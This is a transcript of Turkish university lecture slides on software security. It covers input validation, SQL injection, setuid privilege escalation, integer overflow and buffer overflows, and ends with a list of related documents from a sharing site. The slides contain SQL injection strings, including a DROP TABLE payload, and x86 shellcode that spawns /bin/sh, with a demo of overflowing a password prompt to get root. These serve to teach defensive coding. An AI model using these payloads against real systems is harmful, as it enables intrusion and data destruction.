Yazılım Güvenliği ve Güvenlik Açıkları. Ozan Çağlayan, Araştırma Görevlisi Galatasaray Üniversitesi, Bilgisayar Mühendisliği

Ebat: px
Şu sayfadan göstermeyi başlat:

Download "Yazılım Güvenliği ve Güvenlik Açıkları. Ozan Çağlayan, Araştırma Görevlisi Galatasaray Üniversitesi, Bilgisayar Mühendisliği"

Transkript

1 Yazılım Güvenliği ve Güvenlik Açıkları Ozan Çağlayan, Araştırma Görevlisi Galatasaray Üniversitesi, Bilgisayar Mühendisliği

2 Bilgisayar Güvenliği Nedir? Bilgisayar sistemlerinin, bilginin veya hizmetlerin istenmeyen veya yetkilendirilmemiş erişimden, değişimden veya yıkımdan korunmasıdır.

3 Geçersiz Kullanıcı Girişi - I Güvenli bir tasarım kullanıcı girdisine asla güvenmemelidir!

4 Geçersiz Kullanıcı Girişi - I Güvenli bir tasarım kullanıcı girdisine asla güvenmemelidir! int main(int argc, char *argv) { char buffer[100]; printf( Adınızı girin\n ); gets(buffer); printf( Merhaba ); printf(buffer); printf( \n ); return 0; }

5 Geçersiz Kullanıcı Girişi - I Güvenli bir tasarım kullanıcı girdisine asla güvenmemelidir! int main(int argc, char *argv) { char buffer[100]; printf( Adınızı girin\n ); gets(buffer); printf( Merhaba ); printf(buffer); printf( \n ); return 0; }

6 Belgeleri Okuyun! gets(char *s) reads a line from stdin into the buffer pointed to by s until either a terminating newline or EOF, which it replaces with a null byte ('\0'). No check for buffer overrun is performed.

7 Belgeleri Okuyun! gets(char *s) reads a line from stdin into the buffer pointed to by s until either a terminating newline or EOF, which it replaces with a null byte ('\0'). No check for buffer overrun is performed. Never use gets(). Because it is impossible to tell without knowing the data in advance how many characters gets() will read, and because gets() will continue to store characters past the end of the buffer, it is extremely dangerous to use. It has been used to break computer security. Use fgets() instead!

8 Geçersiz Kullanıcı Girişi - II Tasarım olarak güvenli bir sistem kullanıcı girişini mutlaka doğrulamalıdır!

9 Geçersiz Kullanıcı Girişi - II Tasarım olarak güvenli bir sistem kullanıcı girişini mutlaka doğrulamalıdır!

10 Geçersiz Kullanıcı Girişi - II Tasarım olarak güvenli bir sistem kullanıcı girişini mutlaka doğrulamalıdır!

11 Geçersiz Kullanıcı Girişi - II Tasarım olarak güvenli bir sistem kullanıcı girişini mutlaka doğrulamalıdır!

12 Geçersiz Kullanıcı Girişi - II Tasarım olarak güvenli bir sistem kullanıcı girişini mutlaka doğrulamalıdır!

13 Geçersiz Kullanıcı Girişi III SQL Injection Tasarım olarak güvenli bir sistem kullanıcı girişini mutlaka doğrulamalıdır!

14 Geçersiz Kullanıcı Girişi III SQL Injection Tasarım olarak güvenli bir sistem kullanıcı girişini mutlaka doğrulamalıdır! query = SELECT * FROM users WHERE = ' + + '; // query: SELECT * FROM users WHERE = execute_query(query);

15 Geçersiz Kullanıcı Girişi III SQL Injection Tasarım olarak güvenli bir sistem kullanıcı girişini mutlaka doğrulamalıdır! query = SELECT * FROM users WHERE = ' + + '; ' OR '1'='1 // query: SELECT * FROM users WHERE = '' OR '1'='1'; execute_query(query);

16 Geçersiz Kullanıcı Girişi III SQL Injection Tasarım olarak güvenli bir sistem kullanıcı girişini mutlaka doğrulamalıdır! query = SELECT * FROM users WHERE = ' + + '; a';drop TABLE users; SELECT * FROM userinfo WHERE 't' = 't // query: SELECT * FROM users WHERE = 'a';drop TABLE users; SELECT * FROM userinfo WHERE 't' = 't'; execute_query(query);

17 Geçersiz Kullanıcı Girişi III SQL Injection

18 Geçersiz Kullanıcı Girişi III SQL Injection

19 Geçersiz Kullanıcı Girişi III SQL Injection

20 Geçersiz Kullanıcı Girişi III SQL Injection

21 Geçersiz Kullanıcı Girişi III SQL Injection

22 En az ayrıcalık Prensibi Principle of Least Privilege Bir bilgisayar sisteminde her bileşen (kullanıcı, uygulama, ağ hizmeti, vb.) sadece ihtiyacı olan bilgi ve özkaynaklara erişebilmelidir:

23 En az ayrıcalık Prensibi Principle of Least Privilege Bir bilgisayar sisteminde her bileşen (kullanıcı, uygulama, ağ hizmeti, vb.) sadece ihtiyacı olan bilgi ve özkaynaklara erişebilmelidir: Yedekleme kullanıcısının sadece yedekleme ile ilgili uygulamaları çalıştırabilmesi, örneğin sisteme yazılım yükleyememesi.

24 root/superuser Unix ve türevi sistemlerde geleneksel olarak ayrıcalıklı (superuser/root) ve sıradan kullanıcılar mevcuttur:

25 root/superuser Unix ve türevi sistemlerde geleneksel olarak ayrıcalıklı (superuser/root) ve sıradan kullanıcılar mevcuttur: Sıradan kullanıcı Sadece kendi dosyalarına tam erişim hakkı vardır, Sistem dosyalarını ve diğer dosyaları değiştiremez, $ id uid=1000(ozan) 'root' kullanıcı Tüm dosyalara 'tam' erişimi vardır, Açılış parametrelerini değiştirebilir, Kısacası 'tüm' haklara sahiptir. # id uid=0(root)

26 root/superuser Unix ve türevi sistemlerde geleneksel olarak ayrıcalıklı (superuser/root) ve sıradan kullanıcılar mevcuttur: Sıradan kullanıcı Sadece kendi dosyalarına tam erişim hakkı vardır, 'root' kullanıcı su/sudo Sistem dosyalarını ve diğer dosyaları değiştiremez, $ id uid=1000(ozan) Tüm dosyalara 'tam' erişimi vardır, Açılış parametrelerini değiştirebilir, Kısacası 'tüm' haklara sahiptir. # id uid=0(root)

27 Parola değiştirme Sıradan bir kullanıcı parolasını değiştirmek istediğinde passwd komutunu kullanır:

28 Parola değiştirme Sıradan bir kullanıcı parolasını değiştirmek istediğinde passwd komutunu kullanır: $ passwd Changing password for user ozan. Changing password for ozan. (current) UNIX password: ***** New password: ***** Retype new password: ***** Password successfully changed.

29 Parola değiştirme Sıradan bir kullanıcı parolasını değiştirmek istediğinde passwd komutunu kullanır: $ passwd Changing password for user ozan. Changing password for ozan. (current) UNIX password: ***** New password: ***** Retype new password: ***** Password successfully changed. Parolanın değiştirilmesi ilgili sistem dosyasındaki parola bilgisinin değiştirilmesi demektir. Sıradan kullanıcının sistem dosyalarına yazma yetkisi yoksa nasıl parolasını değiştirebiliyor?

30 setuid() setuid biti 1 olan çalıştırılabilir dosyalar, çalıştırıldıklarında daha yüksek haklara erişip (örn. root) o haklarla çalışırlar:

31 setuid() setuid biti 1 olan çalıştırılabilir dosyalar, çalıştırıldıklarında daha yüksek haklara erişip (örn. root) o haklarla çalışırlar: $ ls /usr/bin/{passwd,firefox,su} -rwxr-xr-x 1 root root 6,9K Ara 1 00:15 /usr/bin/firefox -rwsr-xr-x 1 root root 40K Ara 11 14:03 /usr/bin/su -rwsr-xr-x 1 root root 28K Ara 4 19:27 /usr/bin/passwd

32 setuid() setuid biti 1 olan çalıştırılabilir dosyalar, çalıştırıldıklarında daha yüksek haklara erişip (örn. root) o haklarla çalışırlar: $ ls /usr/bin/{passwd,firefox,su} -rwxr-xr-x 1 root root 6,9K Ara 1 00:15 /usr/bin/firefox -rwsr-xr-x 1 root root 40K Ara 11 14:03 /usr/bin/su -rwsr-xr-x 1 root root 28K Ara 4 19:27 /usr/bin/passwd setuid biti etkin

33 setuid() setuid bitini etkin olarak tanımlayan yazılımlar oldukça dikkatli geliştirilmelidir, Bu yazılımlardaki güvenlik açıklarından yararlanılarak sıradan kullanıcıların root hakları elde etmesi (privilege escalation) kaçınılmazdır.

34 Vaka I - Android 'adb' Açığı

35 Vaka I - Android 'adb' Açığı

36 Vaka I - Android 'adb' Açığı

37 Vaka I - Android 'adb' Açığı

38 Vaka I - Android 'adb' Açığı

39 Vaka I - Android 'adb' Açığı

40 Vaka I - Android 'adb' Açığı

41 Vaka I - Android 'adb' Açığı root!

42 Çözüm - Android 'adb' Açığı Fix bug Check return values. diff --git a/adb/adb.c b/adb/adb.c index 95dc001..d9f96df a/adb/adb.c +++ b/adb/adb.c /* then switch user and group to "shell" */ setgid(aid_shell); setuid(aid_shell); if (setgid(aid_shell)!= 0) { exit(1); } if (setuid(aid_shell)!= 0) { exit(1); } /* set CAP_SYS_BOOT capability, so "adb reboot" will succeed */ header.version = _LINUX_CAPABILITY_VERSION;...

43 Çözüm - Android 'adb' Açığı Fix bug Check return values. diff --git a/adb/adb.c b/adb/adb.c index 95dc001..d9f96df a/adb/adb.c +++ b/adb/adb.c /* then switch user and group to "shell" */ setgid(aid_shell); setuid(aid_shell); if (setgid(aid_shell)!= 0) { Çözüm sadece fonksiyonların exit(1); dönüş değerlerini kontrol } if (setuid(aid_shell)!= 0) { etmekten geçiyor. exit(1); } /* set CAP_SYS_BOOT capability, so "adb reboot" will succeed */ header.version = _LINUX_CAPABILITY_VERSION;...

44 Vaka II - Traceroute SuSE: local root vulnerability in traceroute Traceroute is a tool that can be used to track packets in a TCP/IP network to determine its route or to find out about not working routers. Traceroute requires root privilege to open a raw socket. This allows a malicious user to gain root access by exploiting a buffer overflow at a later point.

45 Çözüm? Traceroute aracının gerçekten root yetkilerinin tamamına ihtiyacı var mıdır?

46 Çözüm: Yeterlikler Capabilities Her türlü yetkiye sahip olan ayrıcalıklı süreçlerin (root) ayrıcalıklarının ufak ve bağımsız birimlere bölünmesi:

47 Çözüm: Yeterlikler Capabilities Her türlü yetkiye sahip olan ayrıcalıklı süreçlerin (root) ayrıcalıklarının ufak ve bağımsız birimlere bölünmesi: CAP_SYS_BOOT: CAP_SYS_TIME: CAP_NET_ADMIN: CAP_NET_RAW:... Baştan başlatma Zamanı ayarlama Ağ yönetimi Ham soket açma

48 Çözüm: Yeterlikler Capabilities SuSE: local root vulnerability in traceroute-nanog/nkitb Traceroute is a tool that can be used to track packets in a TCP/IP network to determine its route or to find out about not working routers. Traceroute requires root privilege to open a raw socket. This allows a malicious user to gain root access by exploiting a buffer overflow at a later point.

49 Çözüm: Yeterlikler Capabilities SuSE: local root vulnerability in traceroute-nanog/nkitb Traceroute is a tool that can be used to track packets in a TCP/IP network to determine its route or to find out about not working routers. Traceroute CAP_NET_RAW requires root privilege to open a raw socket. This Yeterliği allowskullanıldı a malicious user to gain root access by exploiting a buffer overflow at a later point. Starting with 8.1, SuSE Linux contains a traceroute program rewritten by Olaf Kirch that does not require root privileges anymore. This version of traceroute is not vulnerable.

50 İzinler (Android Yeterlikleri) Permissions (aka. Capabilities in Android) Basit bir Android uygulaması öntanımlı olarak hiçbir izne sahip değildir. Her uygulama ihtiyacı olan izinleri önceden belirtmelidir: <manifest xmlns:android="..." package="com.android.app.myapp" > <uses-permission android:name="android.permission.receive_sms" />...

51 İzinler (Android Yeterlikleri) Permissions (aka. Capabilities in Android)

52 Neden Güvensiz Kod Yazarız?

53 Neden Güvensiz Kod Yazarız? Çoğu müfredat bilgisayar güvenliğini içermez, içerse de genellikle kriptografi ve ağ protokolleri ile kısıtlıdır,

54 Neden Güvensiz Kod Yazarız? Çoğu müfredat bilgisayar güvenliğini içermez, içerse de genellikle kriptografi ve ağ protokolleri ile kısıtlıdır, Programcılar insandır ve insanlar tembeldir, bu sebepten programcılar kolay yolu güvenli yola tercih edeceklerdir,

55 Neden Güvensiz Kod Yazarız? Çoğu müfredat bilgisayar güvenliğini içermez, içerse de genellikle kriptografi ve ağ protokolleri ile kısıtlıdır, Programcılar insandır ve insanlar tembeldir, bu sebepten programcılar kolay yolu güvenli yola tercih edeceklerdir, Çoğu programcı özetle iyi programcı değildir,...

56 Popüler 10 Güvenli Kodlama Tekniği Girdileri denetle, Derleyici uyarılarını dikkate al, Güvenlik politikalarını dikkate alan bir yazılım mimarisi oluştur, Basit düşün, Öntanımlı reddet, En az ayrıcalık prensibine sadık kal, Diğer sistemlere yolladığın verileri iyileştir (sanitization), Derinliğine-güvenlik (defense in depth), Kalite denetimi & Test, Kullandığın dile göre güvenli bir kodlama standardı seç.

57 Top 10 Güvenli Kodlama Güvenlik uzmanları ve üstadlar Teknikleri (Hacker) etrafından dolanmak deyiminin hakkını veren insanlardır.

58 Güvenlikte Açık-kaynak Modeli Güvenliğe dair her şeyde açık-kaynaklı kod tercih edin. Bruce Schneier Amerikalı şifreleme ve bilgisayar güvenliği uzmanı

59 Güvenlikte Açık-kaynak Modeli Çok daha fazla insanın kodunuzu incelediği gerçeği bir yana, model temiz kod yazmanızı ve standartlara uymanızı zorluyor. Vincent Rijmen AES geliştiricisi

60 Güvenlikte Açık-kaynak Modeli Bilgisayar yazılımlarında güvenliği sağlamak için gizliliğe bağımlı olmak basitçe gerçek dışıdır. Yazılımınızın çalışma prensiplerini genel dolaşımdan sakınabilirsiniz ama ciddi rakiplerinizin yazılımınızı reverse-engineer etmelerini engelleyebilir misiniz? Büyük ihtimalle hayır. Whitfield Diffie Açık-anahtarlı şifrelemenin mucidi

61 Yazılım Hataları & Güvenlik Açıkları

62 Tamsayı Taşması Çeşitli veri boyutlarının alabilecekleri en büyük işaretsiz değerler: 8 bit: 28 1= bit: 216 1= 65,535 32bit: 232 1= 4,294,967,295 64bit: 264 1= 18,446,744,073,709,551,615

63 Tamsayı Taşması int main(int argc, char *argv) { // Each customer starts with 100$ unsigned int debit = 100; show_card_debit(debit); // 90$ transaction for amazon payment debit = debit - 90; show_card_debit(debit); Çıktı ----// 16$ transaction for Akbil :) Debit: 100 debit = debit - 16; Debit: 10 show_card_debit(debit); Debit: return 0; }

64 Tamsayı Taşması

65 Tamsayı Taşması = 4,294,967,290

66 Yerel Hizmet Reddi Local Denial of Service Bir güvenlik açığından faydalanan kötü niyetli bir kullanıcının sistemin: Çökmesini, Çok yüksek bellek kullanım oranına erişmesini, Çok yüksek CPU kullanım oranına erişmesini, sağlamasıdır.

67 Yerel Hizmet Reddi Local Denial of Service

68 Yerel Hizmet Reddi Local Denial of Service Reading TCP stats when using TCP Illinois congestion control algorithm can cause a divide by zero kernel oops. Steps to Reproduce: Monitor internal TCP information via command "ss -i" 2. Establish new TCP connection to machine

69 Yerel Hizmet Reddi Local Denial of Service --- a/net/ipv4/tcp_illinois.c +++ b/net/ipv4/tcp_illinois.c -313, ,13 static void tcp_illinois_info(struct sock *sk,.tcpv_rttcnt = ca->cnt_rtt,.tcpv_minrtt = ca->base_rtt, }; do_div(t, info.tcpv_rttcnt); info.tcpv_rtt = t; if (info.tcpv_rttcnt > 0) { do_div(t, info.tcpv_rttcnt); info.tcpv_rtt = t; }...

70 Tampon Taşması Buffer Overflow

71 Tampon Taşması Buffer Overflow char shellcode[] = { "\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd" "\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68" }; void test_shellcode(int dummy) { char **ptr = (char **)&dummy; // Point to saved IP ptr = ptr - 1; *ptr = shellcode; } int main() { test_shellcode(112); return 0; }

72 Tampon Taşması Buffer Overflow char shellcode[] = { "\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd" "\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68" }; void test_shellcode(int dummy) { char **ptr = (char **)&dummy; // Point to saved IP ptr = ptr - 1; *ptr = shellcode; } int main() { test_shellcode(112); return 0; } dummy = 112 Dönüş adresi ptr ptr - 1

73 Tampon Taşması Buffer Overflow char shellcode[] = { "\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd" "\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68" }; void test_shellcode(int dummy) { char **ptr = (char **)&dummy; // Point to saved IP ptr = ptr - 1; *ptr = shellcode; } int main() { test_shellcode(112); return 0; } dummy = 112 Dönüş adresi ptr ptr - 1

74 Tampon Taşması Buffer Overflow char shellcode[] = { "\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd" "\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68" }; void test_shellcode(int dummy) { char **ptr = (char **)&dummy; // Point to saved IP ptr = ptr - 1; *ptr = shellcode; } int main() { test_shellcode(112); return 0; } dummy = 112 Dönüş adresi ptr ptr - 1

75 Tampon Taşması Buffer Overflow char shellcode[] = { int main() { "\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd" char *args[] = {"/bin/sh", NULL}; "\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69" execve(args[0], args, NULL); "\x6e\x2f\x73\x68" return 0; }; } void test_shellcode(int dummy) { char **ptr = (char **)&dummy; // Point to saved IP ptr = ptr - 1; *ptr = shellcode; } int main() { test_shellcode(112); return 0; } dummy = 112 Dönüş adresi ptr ptr - 1

76 Tampon Taşması Buffer Overflow char shellcode[] = { $ gcc example.c -o example "\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd" $./example "\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69" bash 4.2 "\x6e\x2f\x73\x68" $ }; void test_shellcode(int dummy) { char **ptr = (char **)&dummy; // Point to saved IP ptr = ptr - 1; *ptr = shellcode; } int main() { test_shellcode(112); return 0; } dummy = 112 Dönüş adresi ptr ptr - 1

77 Tampon Taşması Buffer Overflow char shellcode[] = { $ hexdump -C example "\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd" "\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68" }; void test_shellcode(int dummy) { char **ptr = (char **)&dummy; // Point to saved IP ptr = ptr - 1; *ptr = shellcode; } int main() { test_shellcode(112); return 0; } dummy = 112 Dönüş adresi ptr ptr - 1

78 Tampon Taşması Buffer Overflow char shellcode[] = { $ hexdump -C example 7f 45 4c "\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd" e 00 kodu "\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69" Makine a "\x6e\x2f\x73\x68" }; void test_shellcode(int dummy) { char **ptr = (char **)&dummy; // Point to saved IP ptr = ptr - 1; *ptr = shellcode; } int main() { test_shellcode(112); return 0; } dummy = 112 Dönüş adresi ptr ptr - 1

79 Tampon Taşması Buffer Overflow int main(int argc, char *argv) { char buffer[100]; printf( Enter current password ); gets(buffer);... $ passwd Enter current password:password (100 karakteri doldur) \xeb\x16\x5e\x31\xd2\x52\x56\x89 \xe1\x89\xf3\x31\xc0\xb0\x0b\xcd \x80\x31\xdb\x31\xc0\x40\xcd\x80 \xe8\xe5\xff\xff\xff\x2f\x62\x69 \x6e\x2f\x73\x68 [Enter] # # id uid=0(root)

80 Tampon Taşması Koruması Buffer Overflow Protection char shellcode[] = { $ hexdump -C example 7f 45 4c "\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd" e 00 kodu "\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69" Makine a "\x6e\x2f\x73\x68" }; void test_shellcode(int dummy) { char **ptr = (char **)&dummy; // Point to saved IP ptr = ptr - 1; *ptr = shellcode; } int main() { test_shellcode(112); return 0; Canary ezilmiş mi? } Dummy = 112 Canary Dönüş adresi ptr ptr - 2

81 Teşekkürler! Ozan Çağlayan, Araştırma Görevlisi Galatasaray Üniversitesi, Bilgisayar Mühendisliği

Veritabanı Sızma Testleri Türk Standardları Enstitüsü Yazılım Test ve Belgelendirme Dairesi Başkanlığı

Veritabanı Sızma Testleri Türk Standardları Enstitüsü Yazılım Test ve Belgelendirme Dairesi Başkanlığı Veritabanı Sızma Testleri Türk Standardları Enstitüsü Yazılım Test ve Belgelendirme Dairesi Başkanlığı Tarih 1 Veritabanı Sızma Testleri Veritabanı sistemleri kritik sistemlerdir. Testler sonucunda elde

Detaylı

PostgreSQL ve PL/pgSQL

PostgreSQL ve PL/pgSQL PostgreSQL ve PL/pgSQL Adnan DURSUN Uygulama tasarım ve geliştiricisi @ : adnandursun.at.asrinbilisim.com.tr : +AdnanDURSUN Sunum Akışı PL/pgSQL nedir PL/pgSQL neden kullanmalıyız PL/pgSQL in yapısı Saklı

Detaylı

Qt ile Bir Ağ Uygulaması

Qt ile Bir Ağ Uygulaması Qt ile Bir Ağ Uygulaması Aykut Aksoy aykutaksoy@myway.com sürüm 1.0 Özet Bu belge Qt ile hazırlanmış bir ağ uygulamasını anlatır. C++ bilinmesi beklenir. Bu belgede "QProcess.h" kütüphanesine ağırlık verilmiştir.

Detaylı

Veritabanına Giriş. Oğuzhan Ceylan. 19 Eylül 2011

Veritabanına Giriş. Oğuzhan Ceylan. 19 Eylül 2011 Veritabanına Giriş Oğuzhan Ceylan 19 Eylül 2011 Outline Veritabanı MYSQL Mysql Sorgu Komutları Bir veritabanı yaratmak ve kullanmak Veritabanı Veritabanı Verittabanı hangi alanlarda kullanılıyor. Web sitesi

Detaylı

ProFTPD FTP Sunucusu. Devrim GÜNDÜZ. TR.NET Sistem Destek Uzmanı. devrim@gunduz.org

ProFTPD FTP Sunucusu. Devrim GÜNDÜZ. TR.NET Sistem Destek Uzmanı. devrim@gunduz.org Devrim GÜNDÜZ TR.NET Sistem Destek Uzmanı devrim@gunduz.org http://seminer.linux.org.tr http://belgeler.linux.org.tr http://lkd.belgeler.org http://www.linux.org.tr/belgeler.php http://www.gunduz.org/belgeler.php

Detaylı

Dr. Fatih AY Tel: 0 388 225 22 55 fatihay@fatihay.net www.fatihay.net

Dr. Fatih AY Tel: 0 388 225 22 55 fatihay@fatihay.net www.fatihay.net Bilgisayar Programlama Ders 6 Dr. Fatih AY Tel: 0 388 225 22 55 fatihay@fatihay.net www.fatihay.net Fonksiyon Prototipleri Fonksiyon Prototipleri Derleyici, fonksiyonların ilk hallerini (prototiplerini)

Detaylı

C Dosyalama. Öğr. Gör. M. Ozan AKI. Rev 1.0

C Dosyalama. Öğr. Gör. M. Ozan AKI. Rev 1.0 C Dosyalama Öğr. Gör. M. Ozan AKI Rev 1.0 Dosyalama Dosyalar, disk üzerinde verilerin kalıcı olarak saklanmasını ve başka bir ortama kopyalanarak taşınabilmesini sağlayan yapılardır. Dosyalama C Dili ve

Detaylı

Güvenlik Java ve Web Uygulama Güvenliği

Güvenlik Java ve Web Uygulama Güvenliği Güvenlik Java ve Web Uygulama Güvenliği Melih Sakarya www.melihsakarya.com melih.sakarya@gmail.com www.mergecons.com Olası Açıklar Donanımsal açıklar Sistemsel Açıklar Yazılımsal Açıklar Sosyal Mühendislik

Detaylı

Big Endian & Little Endian K.Atilla Toker İzmir Üniversitesi Meslek Yüksek Okulu Bilgisayar Programcılığı 11-2009 Ver:01

Big Endian & Little Endian K.Atilla Toker İzmir Üniversitesi Meslek Yüksek Okulu Bilgisayar Programcılığı 11-2009 Ver:01 Bilgisayar i Mimarisii i Big Endian & Little Endian K.Atilla Toker İzmir Üniversitesi Meslek Yüksek Okulu Bilgisayar Programcılığı 11-2009 Ver:01 İZMIR ÜNIVERSITESI İZMIR ÜNIVERSITESI MYO BILGISAYAR PROGRAMLAMA

Detaylı

Temel Dosya İşlemleri. Kütük Organizasyonu 1

Temel Dosya İşlemleri. Kütük Organizasyonu 1 Temel Dosya İşlemleri Kütük Organizasyonu 1 Dosyaların Temel İşlemleri Bilgiler dosyada belirli bir düzen içerisinde yer alırlar Örn: ALAN THARP 100 100 100 JOHN BISHOP 70 80 75 PAUL AUSTER Bir satırda

Detaylı

ZAFİYET TESPİTİ VE SIZMA YÖNTEMLERİ. Eyüp ÇELİK Bilgi Teknolojileri Güvenlik Uzmanı info@eyupcelik.com.tr http://www.eyupcelik.com.

ZAFİYET TESPİTİ VE SIZMA YÖNTEMLERİ. Eyüp ÇELİK Bilgi Teknolojileri Güvenlik Uzmanı info@eyupcelik.com.tr http://www.eyupcelik.com. ZAFİYET TESPİTİ VE SIZMA YÖNTEMLERİ Eyüp ÇELİK Bilgi Teknolojileri Güvenlik Uzmanı info@eyupcelik.com.tr http://www.eyupcelik.com.tr Eyüp ÇELİK Kimdir? Bilgi Güvenliği Uzmanı White Hat Hacker Ethical Hacking

Detaylı

ORACLE DA KÜRSÖRLER. Gerekli sistem değişkenleri

ORACLE DA KÜRSÖRLER. Gerekli sistem değişkenleri ORACLE DA KÜRSÖRLER Gerekli sistem değişkenleri SQL%ISOPEN : kürsör açıksa değeri true, kapalı ise değeri false SQL%ROWCOUNT : sql ile işlem gören kayıt sayısı bulunur. SQL%FOUND : sql işlemi sonucu, en

Detaylı

AHMET YESEVİ ÜNİVERSİTESİ BİLİŞİM SİSTEMLERİ VE MÜHENDİSLİK FAKÜLTESİ BİLGİSAYAR MÜHENDİSLİĞİ LİSANS DÖNEM ÖDEVİ

AHMET YESEVİ ÜNİVERSİTESİ BİLİŞİM SİSTEMLERİ VE MÜHENDİSLİK FAKÜLTESİ BİLGİSAYAR MÜHENDİSLİĞİ LİSANS DÖNEM ÖDEVİ AHMET YESEVİ ÜNİVERSİTESİ BİLİŞİM SİSTEMLERİ VE MÜHENDİSLİK FAKÜLTESİ BİLGİSAYAR MÜHENDİSLİĞİ LİSANS DÖNEM ÖDEVİ TBIL-303-01 Veri Yapıları ve Algoritmalar LABİRENT HAZIRLAYAN 122132151 Fahri DÖNMEZ DANIŞMAN

Detaylı

man komut man ls (ls komutu hakkında bilgi verir.) man pwd (pwd komutu hakkında bilgi verir.)

man komut man ls (ls komutu hakkında bilgi verir.) man pwd (pwd komutu hakkında bilgi verir.) Yardım Komutları man komut Parametre olarak aldığı komut hakkında bilgiyi ekranda gösterir. man ls (ls komutu hakkında bilgi verir.) man pwd (pwd komutu hakkında bilgi verir.) Komut çalıştırıldığında uzun

Detaylı

Module 2 Managing User And Computer accounts

Module 2 Managing User And Computer accounts 16 Creating Users Accounts With Command ( Komutla Kullanıcı Hesabı Oluşturma ) Organization Unit i komutla oluşturmak istersek aşağıda bulunan şekildeki yönergeleri takip ediyoruz. Module 2 Managing User

Detaylı

mod ile açılacak olan dosyanın ne amaçla açılacağı belirlenir. Bunlar:

mod ile açılacak olan dosyanın ne amaçla açılacağı belirlenir. Bunlar: Dosyalama Çoğu programda, bazı verilerin disk üzerinde saklanmasına gerek duyulur. C programlama dilinde, disk dosyasına erişme (okuma ve yazma için) iki farklı yöntemle yapılır. Bunlar üst düzey ve alt

Detaylı

Kurumsal Güvenlik ve Web Filtreleme

Kurumsal Güvenlik ve Web Filtreleme S a y f a 1 antikor Kurumsal Güvenlik ve Web Filtreleme SshClient, Putty v.s. S a y f a 2 S a y f a 3 Yönetici olarak AntiKor a girmek için SshClient veya Putty programı kullanılır. IP olarak kurum içinden

Detaylı

Sistem Programlama. (*)Dersimizin amaçları Kullanılan programlama dili: C. Giriş/Cıkış( I/O) Sürücülerinin programlaması

Sistem Programlama. (*)Dersimizin amaçları Kullanılan programlama dili: C. Giriş/Cıkış( I/O) Sürücülerinin programlaması Sistem Programlama Sistem programlama bilgisayar mühendisliğinin bir alanı olup karmaşık sistemlerin ve bu sistemlerin parçalarının ile ilgilenir. İşletim Sistemlerinin Programlaması Giriş/Cıkış( I/O)

Detaylı

Bazı Cisco Router Modelleri: Cisco 1720 Router

Bazı Cisco Router Modelleri: Cisco 1720 Router Router,OSI modelinin 3.katmanında çalışan ve ağ protokollerini destekleyen ve ağları birbirine bağlayan cihazdır. Bir router içersinde birbirinden farklı amaçlar için dört tür bellek vardır.bunlar; ROM:

Detaylı

Kurumsal Güvenlik ve Web Filtreleme

Kurumsal Güvenlik ve Web Filtreleme S a y f a 1 antikor Kurumsal Güvenlik ve Web Filtreleme SshClient, Putty v.s. S a y f a 2 S a y f a 3 S a y f a 4 S a y f a 5 S a y f a 6 S a y f a 7 şeklini alır. Bu durumda kullanıcı yasaklı konumdadır.

Detaylı

INTEGER OVERFLOW ***************************************************************/

INTEGER OVERFLOW ***************************************************************/ INTEGER OVERFLOW BELGE HAKKINDA Bu belge "GNU Free Documentation Licence" ile kaynak gösterilmek ve önceden yazarından izin alınmak kaydıyla yeniden yayınlanabilir. Bu belgedeki eksik, yanlış ya da geliştirilmesi

Detaylı

BĠLGĠSAYAR PROGRAMLAMA II C++ Programlamaya GiriĢ http://www.cplusplus.com/doc/tutorial/ Published by Juan Soulié

BĠLGĠSAYAR PROGRAMLAMA II C++ Programlamaya GiriĢ http://www.cplusplus.com/doc/tutorial/ Published by Juan Soulié BĠLGĠSAYAR PROGRAMLAMA II C++ Programlamaya GiriĢ http://www.cplusplus.com/doc/tutorial/ Published by Juan Soulié DERSİN WEB SİTESİ: http://nucleus.istanbul.edu.tr/~bilprog2/ DeğiĢkenler ve Data Türleri

Detaylı

Sun Solaris ve RBAC ( Role Based Access Control List)

Sun Solaris ve RBAC ( Role Based Access Control List) Sun Solaris ve RBAC ( Role Based Access Control List) /*************************************************************************/ Ömer Faruk Şen * ofsen [at] enderunix [dot] org * EnderUNIX Yazılım Geliştirme

Detaylı

BLG4134 Görsel Programlama III. Öğr. Grv. Aybike ŞİMŞEK

BLG4134 Görsel Programlama III. Öğr. Grv. Aybike ŞİMŞEK BLG4134 Görsel Programlama III Öğr. Grv. Aybike ŞİMŞEK CV_EKLE isimli bir veritabanı oluşturun. CV isimli tabloyu aşağıdaki şekilde oluşturun. Aşağıdaki kod ile bir stored procedure oluşturun. Bunun için

Detaylı

BLM401 Mobil Cihazlar için ANDROİD İşletim Sistemi GÜVENLİK VE İZİNLER. BLM401 Dr.Refik SAMET

